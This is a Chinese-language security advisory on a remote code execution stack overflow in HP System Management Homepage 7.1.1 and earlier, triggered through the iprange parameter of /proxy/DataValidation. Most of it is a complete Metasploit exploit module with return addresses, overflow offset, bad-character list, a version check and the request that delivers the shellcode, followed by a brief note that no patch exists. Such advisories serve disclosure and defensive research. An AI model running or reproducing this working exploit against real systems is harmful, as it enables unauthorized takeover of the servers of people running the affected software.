HP System Management Homepage 'iprange'参数远程代码执行漏洞


发布日期:2013-04-02
更新日期:2013-04-03

受影响系统:
HP System Management Homepage 7.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 58817
 
HP System Management Homepage (HP SMH) 是一个基于 Web 的界面,可整合和简化对运行 HP-UX、Linux 和 Microsoft Windows 操作系统的 HP 服务器的单系统管理过程。
 
HP System Management Homepage 7.1.1及之前版本在实现上存在远程代码执行漏洞(栈溢出),该漏洞是由于受影响产品对发往/proxy/DataValidation的请求中的iprange参数处理不当而导致。成功利用后可允许攻击者在受影响应用的上下文中执行任意代码。
 

<*来源:agix
 
  链接:http://h20000.www2.hp.com/bizsupport/TechSupport/SoftwareDescription.jsp?lang=en&cc=us&prodTypeId=15351&prodSeriesId=428936&swItem=MTX-df3d68cc03364ce78f1987b83b&prodNameId=3288114&swEnvOID=4006&swLang=8&taskId=135&mode=5
 *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # web site for more information on licensing and terms of use.
 #  http://metasploit.com/
 ##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'          => 'HP System Management Anonymous Access Code Execution',
            'Description'    => %q{
                    This module exploits an anonymous remote code execution on HP System Management
                7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
                a request against /proxy/DataValidation. In order to work HP System Management must
                be configured with Anonymous access enabled.
            },
            'Author'        => [ 'agix' ], # @agixid
            'License'        => MSF_LICENSE,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'      => 1000,
                    'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'ESP' # See the comments below
                        }
                },
            'Platform'      => ['linux'],
            'Arch'          => ARCH_X86,
            'References'    =>
                [
                    ['OSVDB', '91812']
                ],
            'Targets'        =>
                [
                    [ 'HP System Management 7.1.1 - Linux (CentOS)',
                        {
                            'Ret' => 0x8054e14, # push esp / ret
                            'Offset' => 267
                        }
                    ],
                    [ 'HP System Management 6.3.0 - Linux (CentOS)',
                        {
                            'Ret' => 0x805a547, # push esp / ret
                            'Offset' => 267
                        }
                    ]
                ],
            'DisclosureDate' => 'Sep 01 2012',
            'DefaultTarget' => 0))
 
        register_options(
            [
                Opt::RPORT(2381),
                OptBool.new('SSL', [true, 'Use SSL', true])
            ], self.class)
 
    end
 
    def check
        res = send_request_cgi({
            'method' => 'GET',
            'uri' => "/cpqlogin.htm"
        })
 
        if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
            version = $1
            return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
        end
 
        return Exploit::CheckCode::Safe
    end
 
    def exploit
 
        padding = rand_text_alpha(target['Offset'])
        ret = [target['Ret']].pack('V')
        iprange = "a-bz"+padding+ret+payload.encoded
 
        print_status("#{rhost}:#{rport} - Sending exploit...")
 
        res = send_request_cgi({
            'method' => 'GET',
            'uri' => "/proxy/DataValidation",
            'encode_params' => false,
            'vars_get' => {
                'iprange' => iprange
            }
        })
 
    end
 
end

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
HP
 --
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 
http://itrc.hp.com

相关内容

    暂无相关文章